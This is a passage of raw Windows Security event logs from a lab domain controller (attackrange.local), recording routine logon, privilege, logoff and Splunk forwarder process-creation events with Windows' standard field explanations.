	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:47:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255937
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3896CE

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:47:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255950
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc40
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:47:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255951
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3ac
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:47:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255952
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x122c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:47:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255953
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa88
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:47:21 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255954
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x389A35

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:47:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255957
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x38C7F7

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:47:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255956
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x38C7F7
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64925

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:47:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255955
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x38C7F7

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:48:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255958
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xb90
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:48:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255959
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xa0c
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:48:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255961
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x968
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:48:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255960
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x674
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:48:12 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255962
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x13c0
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:48:13 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255963
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf94
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe" --ps2

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:48:14 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255964
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1038
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:48:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=255967
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x38FD57

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/12/2021 12:48:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=255966
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0x38FD57
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{DAECB7E0-948F-3A21-8C1A-BE4746E3A7F7}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	::1
	Source Port:		64938

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/12/2021 12:48:58 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=255965
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x38FD57

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/12/2021 12:49:09 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255968
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1248
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-MonitorNoHandle.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:49:10 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255969
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x9b4
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-admon.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:49:11 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=255971
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1244
	New Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1334
	Creator Process Name:	C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe
	Process Command Line:	"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:49:11 AM
LogName=Security
